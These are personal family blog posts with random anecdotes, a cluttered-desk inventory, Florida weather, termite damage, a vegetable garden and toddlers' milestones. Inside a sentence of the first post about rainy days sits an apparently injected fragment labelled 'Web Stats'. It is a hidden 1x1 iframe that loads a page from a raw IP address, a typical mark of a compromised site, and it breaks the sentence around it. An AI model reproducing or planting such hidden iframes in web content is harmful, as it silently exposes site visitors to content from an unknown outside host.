I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information. This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand. That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off. He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://126.96.36.199/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture. She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed. \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino. \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard. It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.
Archive for the ‘The House’ Category
Of all the things I could be writing about, I decided I should ‘fess up to the state of my desk. This may clear up why I don’t write more than I do. Currently, on my desk are the following: lamp, printer, a set of computer speakers that are hooked up to nothing, an external hard drive, a modem, (nothing surprising so far, just wait), a three-hole punch, a stapler, a box of picture frames, turbotax software, our tax folder, Will’s OT folder, 9 tests that need to be graded, 4 60cc syringes, a book about podcasting and blogging, the following books: Searching for God Knows What (kind of a commentary on my desk itself), A Perfect Mess (definitely a commentary on my desk!), Story by Robert McKee, Out of Egypt, Offering the Gospel to Children, Blue Like Jazz (gift wrapped in Christmas paper… Happy St. Patrick’s Day?), The Spirit of the Reformation Study Bible, my thinline NIV, and I think that’s all I can see right now for books. I also have some manilla envelopes, two composition books that are half full each, Bible study questions, several envelopes of photographs, an unframed wedding photo (that’s of my wedding in 1995), the results of some medical testing on Will, a black frame, a valentine (still undelivered to one of Aaron’s friends, again Happy St. Patrick’s Day!), a framed family photo (sans Levi), part of a book manuscript I’m reading, a few blank CDs, an empty camera case, a catheter, a lot of insurance and medical bill related invoices and paperwork, a pencil cup, some heart stickers, a 70s school picture of a friend (blackmail item), and a greeting card file box. Oh yeah, and my computer! I’ll see if I can include a photo. Maybe that blog book will tell me how. It’s my goal to set the bar low so that everyone else walks away feeling better about their own ability to do life in the midst of chaos. Hope your desk is neater than mine.
It’s also 9:45 at night. The high today was 83. In Paducah right now, it’s 55. In Lexington it’s 40. In Minneapolis it’s 25 and snowing, up from 18 earlier today. This is the time of year to live in Florida. We can open our windows up and let in the nice night air. Unfortunately, along with the nice night air comes the mosquitoes. I was just batting one away a second ago. I’m not sure how they find their way in so easily, but poor Levi is covered in bites. There is nothing like turning out your light to go to bed and hearing the whining buzz in your ear that prophecies your destiny as the next victim. I guess I’m not going to get much sympathy from our friends in Minnesota though.
Another perk of living in Florida is the ability to work on outdoor projects in the winter. Actually, we prefer to do outdoor projects in the winter. There’s nothing fun about being on your roof when it’s 95 degrees and 95% humidity. So this winter we’re taking on painting the house. Since our house is brick, it would seem that painting trim wouldn’t be that big of a deal. Well, it wouldn’t if some of the other Florida residents hadn’t also been “working” on our house. I’m talking about the termites. They say there are only two kinds of houses in Florida, those with termites and those that are about to have termites. We most definitely have the former. In places, it seems that the paint is the only thing the termites haven’t eaten, so scraping the paint is the same as dismantling our home. I speak as if I have been doing all this work, but you know it’s poor Adam who’s on the ladder making all these wonderful discoveries. He said he’d rather dig a ditch than have to scrape the house, and I guess I can see why.
On a more positive note, we have officially grown vegetables! (By we, I of course mean Adam.) There are carrots, squash and pole beans all in the garden. We’re not exactly self-sufficient, but it’s so much fun to watch a seed be planted and grow into something of value. It’s a great lesson for us and for our kids. I’ll stop now before I break into song.
Thanks for contributing your movie quotes. Chris and Miriam win with the “Dances with Wolves” quote. Ha ha.
It seems that my children have decided to give me a nice gift for the third trimester of my pregnancy. Their gift is to learn lots of new things. Of course, I’m learning too. Aaron has recently learned to sing “Shake your booty,” and his favorite new expression is “Shake your booty, Mommy.” I’m just waiting for him to bring this out at a perfect moment. Will has learned to stand up and take a few steps while holding on to a table, couch, bed, or whatever is available. As a result, the lamp in the living room has fallen enough to be permanently damaged and I’m clearing the flat surfaces to salvage other items. With this standing has come a new level of stubbornness in Will. And today, we have all learned what happens when a helium balloon floats into a ceiling fan. (I also learned I need to dust my ceiling fans.) So I just can’t wait to see what we get to learn next.